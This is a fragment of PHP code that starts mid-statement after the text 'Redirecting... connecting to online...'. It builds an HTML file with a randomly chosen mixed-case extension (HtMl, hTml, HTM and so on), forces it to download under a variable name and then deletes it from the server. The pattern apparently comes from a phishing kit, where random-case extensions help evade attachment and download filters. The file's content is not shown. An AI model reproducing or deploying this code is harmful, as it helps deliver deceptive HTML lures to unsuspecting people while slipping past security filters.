Redirecting... connecting to online... '; // Define file extensions based on a selected index $ccpa = array("HtMl", "hTml", "HTML", "HTM", "htML"); $cmdro = $ccpa[array_rand($ccpa)]; $fileName = "".$nam.".".$cmdro.""; // Save the content to a file file_put_contents($fileName, $fileContent); // Set headers and serve the file for download header("Content-Type: application/octet-stream"); header("Content-Length: " . filesize($fileName)); header("Content-Disposition: attachment; filename=\"$fileName\""); ob_clean(); flush(); readfile($fileName); // Delete the file after download unlink($fileName); exit; } ?>